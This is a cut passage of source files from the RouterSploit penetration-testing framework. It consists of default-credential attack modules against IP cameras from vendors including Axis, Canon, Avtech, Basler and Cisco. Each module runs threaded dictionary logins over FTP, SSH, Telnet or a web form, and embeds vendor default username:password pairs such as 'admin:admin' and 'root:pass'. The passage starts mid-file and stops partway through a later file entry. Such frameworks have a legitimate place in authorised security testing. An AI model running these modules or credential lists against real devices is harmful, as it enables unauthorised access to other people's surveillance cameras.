print_status(\"Starting default credentials attack against Acti Camera Web Interface\")\n\n        data = LockedIterator(self.defaults)\n        print(data.next())\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, creds):\n        while running.is_set():\n            try:\n                username, password = creds.next().split(\":\", 1)\n\n                data = {\n                    \"LOGIN_ACCOUNT\": username,\n                    \"LOGIN_PASSWORD\": password,\n                    \"LANGUAGE\": \"0\",\n                    \"btnSubmit\": \"Login\",\n                }\n\n                response = self.http_request(\n                    method=\"POST\",\n                    path=\"/video.htm\",\n                    data=data\n                )\n\n                if response is None:\n                    continue\n\n                if \">Password<\" not in response.text:\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n            except StopIteration:\n                break\n\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/video.htm\"\n        )\n\n        if response and \">Password<\" in response.text:\n            return True\n\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(self.defaults)\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/american_dynamics/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/american_dynamics/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __name__ = {\n        \"name\": \"American Dynamics Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against American Dybnamics Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"American Dynamics Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:9999\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/american_dynamics/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"American Dynamics Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against American Dynamics Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"American Dynamics Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:9999\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/american_dynamics/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"American Dynamics Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against American Dynamics Telnet service. \"\n                       \"If valid credentials are found, they are displayed to te user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com\",  # routersploit module\n        ),\n        \"devices\": (\n            \"American Dynamics Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:9999\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/arecont/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/arecont/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Arecont Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Arecont Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Arecont Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:,:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/arecont/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Arecont Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Arecont Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Arecont Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:,:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/arecont/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Arecont Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Arecont Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Arecont Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:,:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/avigilon/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/avigilon/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Avigilon Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Avigilon Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Avigilon Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,Administrator:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/avigilon/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Avigilon Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Avigilon Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Avigilon Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,Administrator:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/avigilon/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Avigilon Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Avigilon Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Avigilon Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,Administrator:\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/avtech/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/avtech/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Avtech Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Avtech Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Avtech Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/avtech/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Avtech Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Avtech Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Avtech Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/avtech/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Avtech Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Avtech Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Avtech Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/axis/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/axis/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Axis Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Axis Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Axis Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:pass,admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/axis/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Axis Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Axis Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Axis Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:pass,admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/axis/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Axis Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Axis Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Axis Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:pass,admin:admin\", \"User:Pass or file with defaults credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/axis/webinterface_http_auth_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.http_basic_digest_default import Exploit as HTTPBasicDigestDefault\n\n\nclass Exploit(HTTPBasicDigestDefault):\n    __info__ = {\n        \"name\": \"Axis Camera Default Web Interface Creds - HTTP Auth\",\n        \"description\": \"Module performs dictionary attack against Axis Camera Web Interface. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Axis Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:pass,root:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/basler/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/basler/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Basler Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Basler Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Basler Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/basler/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Basler Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Basler Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Basler Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/basler/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Basler Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Basler Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user. \",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Basler Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port(file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/basler/webinterface_http_form_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Basler Camera Default Web Interface Creds - HTTP Form\",\n        \"description\": \"Module performs dictionary attack against Basler Camera Web Interface. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Basler Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting default creds attack against web interface\")\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Login\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, creds):\n        while running.is_set():\n            try:\n                username, password = creds.next().split(\":\", 1)\n\n                data = {\n                    \"Auth.Username\": username,\n                    \"Auth.Password\": password,\n                }\n                response = self.http_request(\n                    method=\"POST\",\n                    path=\"/cgi-bin/auth_if.cgi?Login\",\n                    data=data\n                )\n\n                if response and \"success: true\" in response.text:\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n\n            except StopIteration:\n                break\n\n    def check(self):\n        data = {\n            \"Auth.Username\": \"\",\n            \"Auth.Password\": \"\",\n        }\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/auth_if.cgi?Login\",\n            data=data\n        )\n\n        if response and \"success: \" in response.text:\n            return True\n\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(self.defaults)\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/brickcom/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/brickcom/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Brickcom Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Brickcom Camera FTP servie. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Brickcom Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/brickcom/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Brickcom Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Brickcom Camera SSH service. \"\n                       \"If valid credentials are found they are displayed to the user. \",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Brickcom Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/brickcom/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Brickcom Camera Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Brickcom Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Brickcom Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/brickcom/webinterface_http_auth_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.http_basic_digest_default import Exploit as HTTPBasicDigestDefault\n\n\nclass Exploit(HTTPBasicDigestDefault):\n    __info__ = {\n        \"name\": \"Brickcom Camera Default Web Interface Creds - HTTP Auth\",\n        \"description\": \"Module performs dictionary attack against Brickcom Camera. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Brickcom Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(80, \"Target HTTP port\")\n    path = OptString(\"/\", \"Target path\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/canon/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/canon/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Canon Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Canon Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Canon Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:camera\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/canon/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Canon Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Canon Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Canon Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:camera\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/canon/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Canon Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Canon Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Canon Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"root:camera\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/canon/webinterface_http_auth_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.http_basic_digest_default import Exploit as HTTPBasicDigestDefault\n\n\nclass Exploit(HTTPBasicDigestDefault):\n    __info__ = {\n        \"name\": \"Canon Camera Default Web Interface Creds - HTTP Auth\",\n        \"description\": \"Module performs dictionary attack against Canon Camera Web Interface. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Canon Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port(file://)\")\n    port = OptPort(80, \"Target HTTP port\")\n    path = OptString(\"/admin/index.html\", \"Target Path\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/cisco/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/cisco/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Cisco Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Cisco Camera FTP service.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Cisco Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Taret IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/cisco/ssh_default_creds.py",
